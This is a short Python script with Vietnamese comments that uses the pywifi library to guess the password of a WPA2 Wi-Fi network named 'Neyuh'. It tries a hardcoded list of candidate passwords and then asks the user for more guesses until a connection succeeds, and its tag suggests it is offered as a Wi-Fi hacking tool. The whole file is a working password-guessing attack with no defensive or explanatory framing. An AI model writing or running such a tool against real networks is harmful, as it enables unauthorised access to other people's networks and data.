import pywifi
import time
from pywifi import const
# Định nghĩa sẵn SSID và danh sách mật khẩu
WIFI_SSID = "Neyuh"
WIFI_PASSWORDS = ["24242424", "12313131", "buibui123", "88888888"] # Danh sách ban đầu chỉ có một mật khẩu
def connect_to_wifi(ssid, password):
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]
# Ngắt kết nối hiện tại
iface.disconnect()
time.sleep(1)
# Tạo profile kết nối mới
profile = pywifi.Profile()
profile.ssid = ssid
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = password
# Thêm profile mới
iface.remove_all_network_profiles()
tmp_profile = iface.add_network_profile(profile)
# Kết nối đến mạng
iface.connect(tmp_profile)
# Chờ kết nối hoặc thất bại
for _ in range(30): # Chờ tối đa 30 giây
if iface.status() == const.IFACE_CONNECTED:
return True
time.sleep(1)
return False
if __name__ == "__main__":
connected = False
tried_passwords = set()
while not connected:
for password in WIFI_PASSWORDS:
if password not in tried_passwords:
print(f"Đang thử mật khẩu: {password}")
if connect_to_wifi(WIFI_SSID, password):
print(f"Đã kết nối thành công đến {WIFI_SSID} với mật khẩu {password}")
connected = True
break
tried_passwords.add(password)
if not connected:
new_password = input("Nhập mật khẩu mới để thử (hoặc 'quit' để dừng): ")
if new_password.lower() == 'quit':
print("Đã dừng quá trình thử mật khẩu.")
break
if new_password not in WIFI_PASSWORDS:
WIFI_PASSWORDS.append(new_password)
if not connected:
print("Đã thử tất cả mật khẩu nhưng không thể kết nối.")
print("Danh sách mật khẩu đã thử:")
for password in tried_passwords:
print(f"- {password}")
Tags:
buwifi bang python